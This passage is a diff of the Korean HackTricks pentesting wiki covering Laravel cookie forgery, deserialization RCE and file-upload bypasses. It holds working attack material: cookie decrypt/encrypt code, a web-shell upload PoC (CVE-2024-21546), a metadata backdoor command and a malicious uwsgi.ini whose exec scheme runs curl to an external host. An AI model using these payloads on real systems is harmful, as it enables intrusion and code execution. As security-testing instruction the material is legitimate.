`X-Powered-By`, 쿠키 `XSRF-TOKEN` 및 `laravel_session`, 그리고 Blade 에러 페이지도 식별에 도움이 됩니다. +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` ### .env -Laravel은 쿠키 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, 이는 다음 경로 탐색을 통해 접근할 수 있습니다: `/../.env` +Laravel은 cookies 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일 안에 저장하며, 이 파일은 `/../.env` 경로 트래버설을 통해 접근할 수 있습니다. -Laravel은 또한 이 정보를 디버그 페이지에 표시합니다(오류가 발생했을 때 Laravel이 이를 찾고 활성화될 때 나타남). +Laravel은 오류가 발생하고 debug page가 활성화되어 있을 때 해당 정보를 debug page에 표시하기도 합니다. -Laravel의 비밀 APP_KEY를 사용하여 쿠키를 복호화하고 재암호화할 수 있습니다: +Laravel의 비밀 APP_KEY를 사용하면 cookies를 복호화하고 재암호화할 수 있습니다: -### Decrypt Cookie +### 쿠키 복호화 ```python import os import json @@ -169,22 +214,22 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE 취약한 버전: 5.5.40 및 5.6.x ~ 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -여기에서 역직렬화 취약성에 대한 정보를 찾을 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +deserialization 취약점에 대한 정보는 다음에서 확인할 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 를 사용하여 테스트하고 악용할 수 있습니다.\ -또는 메타스플로잇을 사용하여 악용할 수도 있습니다: `use unix/http/laravel_token_unserialize_exec` +다음을 사용하여 테스트하고 exploit할 수 있습니다: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +또는 metasploit으로도 exploit할 수 있습니다: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -또 다른 역직렬화: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +또 다른 deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) @@ -194,5 +239,9 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index c1b89c631..92267e9d4 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -4,10 +4,10 @@ ## 파일 업로드 일반 방법론 -다음은 유용한 확장자들입니다: +다른 유용한 확장자: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **PHPv8에서 작동**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -17,11 +17,11 @@ ### 파일 확장자 검사 우회 -1. 적용된다면, 이전에 언급한 확장자들을 확인하세요. 또한 대문자 조합으로도 테스트해보세요: _pHp, .pHP5, .PhAr ..._ -2. _실행 확장자 앞에 유효한 확장자를 추가해보세요 (이전 확장자들도 사용):_ +1. 적용된다면, **이전 확장자들**을 **확인**하세요. 또한 일부 **대문자**를 사용해 테스트하세요: _pHp, .pHP5, .PhAr ..._ +2. _실행 확장자 앞에 유효한 확장자를 **추가하여 검사하세요** (이전 확장자들도 사용하세요):_ - _file.png.php_ - _file.png.Php5_ -3. 끝에 **특수 문자**를 추가해보세요. Burp를 사용해 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급된 확장자들을 함께 시도할 수도 있습니다_) +3. 끝에 **특수 문자**를 추가해보세요. Burp를 사용해 모든 **ascii** 및 **Unicode** 문자를 **bruteforce**할 수 있습니다. (_참고: 이전에 언급한 **extensions**도 사용할 수 있습니다_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. 서버 측의 확장자 파서를 속이는 방식으로 방어를 우회해보세요. 예: 확장자를 중복하거나 확장자 사이에 쓰레기 데이터(**null** 바이트 등)를 추가하는 기법. _더 나은 페이로드를 위해 이전 확장자들을 함께 사용할 수도 있습니다._ +4. 서버 측의 **확장자 파서**를 속여 보호를 우회해보세요. 예: 확장자 **중복** 또는 확장자 사이에 **junk** 데이터(**null** bytes) 추가. _더 나은 페이로드를 위해 **이전 확장자**도 사용할 수 있습니다._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -43,15 +43,15 @@ 5. 이전 검사에 **추가 확장자 레이어**를 더해보세요: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. **실행 확장자**를 유효한 확장자 앞에 두고 서버가 잘못 구성되었기를 기대해보세요. (예: Apache의 잘못된 설정을 이용하면 확장자가 .php를 포함하면 끝나지 않아도 코드가 실행될 수 있습니다): +6. 유효한 확장자 앞에 **exec extension**을 넣어보세요(서버가 잘못 구성되어 있을 때 유용). (예: Apache misconfigurations에서는 확장자가 .php인 파일이라면 반드시 .php로 끝나지 않아도 코드가 실행될 수 있습니다): - _ex: file.php.png_ -7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":"이 삽입됩니다. 결과적으로 서버에 **금지된 확장자를 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg"). 이 파일은 나중에 짧은 파일명(short filename) 등을 이용해 편집될 수 있습니다. "**::$data**” 패턴을 사용해 비어있지 않은 파일을 만들 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것은 추가 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data.") -8. 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php +7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 **금지된 확장자를 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg"). 이 파일은 이후 short filename 같은 기법으로 편집될 수 있습니다. "**::$data**” 패턴은 비어있지 않은 파일을 생성하는 데에도 사용될 수 있습니다. 따라서 이 패턴 뒤에 점을 추가하면 추가 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data."). +8. 파일 이름 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,56 +59,85 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Content-Type, Magic Number, Compression 및 Resizing 우회 +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -- Content-Type 검사 우회: 요청의 **Content-Type** 헤더 값을 _image/png_, _text/plain_, _application/octet-stream_ 등으로 설정해보세요. +일부 업로드 핸들러는 저장된 파일명에서 후행 점 문자를 트리밍하거나 정규화합니다. UniSharp의 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 이전 버전에서는 다음 방식으로 확장자 검증을 우회할 수 있습니다: + +- 유효한 이미지 MIME 및 magic header 사용 (예: PNG의 `\x89PNG\r\n\x1a\n`). +- 업로드 파일명을 PHP 확장자 뒤에 점을 붙여서 지정 (예: `shell.php.`). +- 서버가 후행 점을 제거하고 `shell.php`로 저장하며, 이것이 웹으로 서비스되는 디렉토리(기본 public storage 예: `/storage/files/`)에 위치하면 실행됩니다. + +간단한 PoC (Burp Repeater): +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` +그런 다음 저장된 경로로 접근하세요 (Laravel + LFM에서 일반적): +``` +GET /storage/files/0xdf.php?cmd=id +``` +Mitigations: +- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1. +- 서버 측에서 엄격한 allowlists를 적용하고 저장된 파일명을 재검증하세요. +- 업로드 파일은 실행 불가능한 위치에서 서빙하세요. + +### Bypass Content-Type, Magic Number, Compression & Resizing + +- Bypass **Content-Type** 검사를 위해 **Content-Type** **header**의 **value**를 다음으로 설정하세요: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- **magic number** 검사 우회: 파일 시작 부분에 실제 이미지의 바이트를 추가해 `file` 명령을 혼동시키거나, 셸을 이미지 **메타데이터**에 삽입하세요:\ +- **magic number** 검사를 우회하려면 파일의 시작 부분에 실제 이미지의 바이트를 추가하세요 (file 명령을 혼동시킵니다). 또는 메타데이터에 백도어를 삽입할 수 있습니다:\ `exiftool -Comment="' >> img.png` -- 이미지에 **압축(compression)** 이 적용되는 경우(예: PHP-GD 같은 표준 라이브러리를 사용하는 경우) 위의 기법들이 동작하지 않을 수 있습니다. 이럴 때는 **PLTE chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 통과하는 텍스트를 삽입할 수 있습니다. -- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- 웹 페이지가 이미지를 **리사이징(resizing)** 할 수도 있습니다(예: PHP-GD의 `imagecopyresized` 또는 `imagecopyresampled` 사용). 이 경우에도 **IDAT chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 압축을 통과하는 텍스트를 삽입할 수 있습니다. -- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- 이미지 리사이징을 통과하는 또 다른 기법으로 PHP-GD의 `thumbnailImage` 함수를 대응하는 방법이 있습니다. 또는 **tEXt chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 통과하는 텍스트를 삽입할 수 있습니다. -- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- 만약 이미지에 **압축이 적용되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php) 같은 표준 PHP 라이브러리를 사용할 때는 위 기법들이 통하지 않을 수 있습니다. 그러나 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 이용해 압축을 통과하는 텍스트를 삽입할 수 있습니다. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- 웹 페이지가 `imagecopyresized` 또는 `imagecopyresampled` 같은 PHP-GD 함수를 사용해 **이미지를 리사이징**할 수도 있습니다. 하지만 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 압축을 견디는 텍스트를 삽입할 수 있습니다. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- 또 다른 기법으로 PHP-GD의 `thumbnailImage` 함수를 사용할 때에도 **리사이징을 통과하는** 페이로드를 만들 수 있습니다. 또는 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 이용해 압축을 견디는 텍스트를 삽입할 수 있습니다. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### 점검할 기타 트릭 +### Other Tricks to check -- 업로드된 파일의 이름을 **rename** 할 수 있는 취약점을 찾아보세요(확장자 변경). -- Local File Inclusion 취약점을 찾아 백도어를 실행하세요. -- **가능한 정보 유출**: -1. 동일한 파일을 **동시에 여러 번** 업로드해보세요(같은 이름으로). -2. 이미 존재하는 **파일명** 또는 **폴더명**으로 파일을 업로드해보세요. -3. 파일명을 ".", "..", 또는 "…"로 업로드해보세요. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 "uploads"라는 파일을 생성할 수 있습니다. -4. NTFS에서 삭제하기 어려운 파일명(예: "…:.jpg")을 업로드해보세요. (Windows) -5. 파일명에 Windows에서 유효하지 않은 문자(`|<>*?”`)를 포함한 파일을 업로드해보세요. (Windows) -6. CON, PRN, AUX, NUL, COM1... 등과 같은 예약된(금지된) 이름을 사용해 Windows에 파일을 업로드해보세요. -- 실행 가능한 파일(.exe)이나 덜 의심스러운 .html 파일을 업로드해 피해자가 우연히 열었을 때 코드가 실행되도록 해보세요. +- 이미 업로드된 파일을 **rename**(확장자 변경)할 수 있는 취약점을 찾아보세요. +- 백도어를 실행하기 위한 **Local File Inclusion** 취약점을 찾아보세요. +- **Possible Information disclosure**: +1. 동일한 이름의 동일한 파일을 **여러 번** (그리고 **동시에**) 업로드해보세요. +2. 이미 존재하는 **파일**이나 **폴더**의 **이름**으로 파일을 업로드해보세요. +3. 파일 이름을 **"."**, **".."**, 또는 **"…"**로 업로드해보세요. 예를 들어 Apache가 **Windows**에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 "uploads"라는 파일을 생성할 수 있습니다. +4. **NTFS**에서 삭제하기 어려운 파일 이름(예: **"…:.jpg"**)을 업로드해보세요. (Windows) +5. **Windows**에서 파일 이름에 `|<>*?”` 같은 유효하지 않은 문자를 포함해 업로드해보세요. (Windows) +6. **Windows**에서 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 같은 예약(금지)된 이름으로 파일을 업로드해보세요. +- 실수로 피해자가 열었을 때 코드가 실행되는 **실행 파일**(.exe)이나 비교적 덜 의심받는 **.html** 파일을 업로드해보세요. -### 특수 확장자 트릭 +### Special extension tricks -PHP 서버에 파일을 업로드하려는 경우, [코드 실행을 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -ASP 서버에 업로드하려는 경우, [코드 실행을 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **php 파일처럼 사용**될 수 있습니다(php로 실행하거나 스크립트에 포함하여 사용 가능). - -`.inc` 확장자는 가끔 파일을 **include/import** 하기 위한 php 파일로 사용됩니다. 따라서 어떤 상황에서는 이 확장자가 실행되도록 허용되어 있을 수 있습니다. +`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, php로 실행하거나 스크립트에 포함해 **php 파일처럼 사용할 수 있습니다** (php로 실행하거나 include 등). +`.inc` 확장자는 종종 파일 임포트용 php 파일에 사용되므로, 어떤 경우에는 이 확장자가 실행되도록 허용되어 있을 수 있습니다. ## **Jetty RCE** -Jetty 서버에 XML 파일을 업로드할 수 있다면 [새로운 \*.xml 및 \*.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 아래 이미지에서 설명된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 쉘을 기대할 수 있습니다! +If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 아래 이미지에서 언급된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 쉘을 얻을 수 있습니다! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -이 취약점에 대한 상세한 분석은 원문 연구를 참고하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) 취약점은 `.ini` 설정 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 설정 파일은 "magic" 변수, 플레이스홀더 및 연산자를 포함하는 특정 문법을 사용합니다. 특히 `@(filename)`처럼 사용되는 '@' 연산자는 파일 내용을 포함하도록 설계되어 있습니다. uWSGI가 지원하는 여러 스킴 중에서 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 설정 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read로 악용될 수 있습니다. +원격 명령 실행(RCE) 취약점은 `.ini` 설정 파일을 수정할 수 있는 능력이 있을 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더, 연산자를 포함하는 특정 문법을 사용합니다. 특히 `@(filename)`처럼 사용되는 '@' 연산자는 파일 내용을 포함하도록 설계되어 있습니다. uWSGI에서 지원하는 여러 스킴 중에서 "exec" 스킴은 프로세스의 표준 출력에서 데이터를 읽어오는 기능을 제공하여 특히 강력합니다. 이 기능은 `.ini` 구성 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read 같은 악의적 목적에 악용될 수 있습니다. -다음은 다양한 스킴을 보여주는 악의적인 `uwsgi.ini` 파일 예시를 고려해보세요: +다음은 다양한 스킴을 보여주는 악성 `uwsgi.ini` 파일의 예를 고려해보세요: ```ini [uwsgi] ; read from a symbol @@ -126,15 +155,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -payload의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되어 파싱되려면, uWSGI 프로세스는 재시작되어야 합니다(잠재적으로 충돌 후이거나 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어야 합니다. auto-reload 기능이 활성화되어 있으면, 변경을 감지했을 때 지정된 간격으로 파일을 다시 로드합니다. +payload의 실행은 설정 파일을 파싱하는 동안 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(잠재적으로 크래시 후 또는 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화되어 있으면 변경을 감지할 때 지정된 간격으로 파일을 다시 로드합니다. -uWSGI의 구성 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 논의된 payload는 이미지나 PDF 같은 바이너리 파일에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다. +uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 특히, 앞서 논의한 payload는 binary file(예: image나 PDF) 안에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다. ## **wget File Upload/SSRF Trick** -어떤 경우에는 서버가 **`wget`**으로 **파일을 다운로드**하고 URL을 **지정**할 수 있게 되어 있을 수 있습니다. 이런 경우, 코드가 다운로드되는 파일의 확장자가 허용 목록(whitelist)에 있는지 확인하여 허용된 파일만 다운로드되도록 검사할 수 있습니다. 하지만 **이 검사는 우회될 수 있습니다.**\ - -linux에서 **filename**의 **최대** 길이는 **255**이지만, **wget**은 파일명을 **236**자로 잘라버립니다. 예를 들어 **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**하면, 이 파일명은 **검사**를 **우회**할 수 있습니다(이 예에서 **".gif"**는 **유효한** 확장자이기 때문). 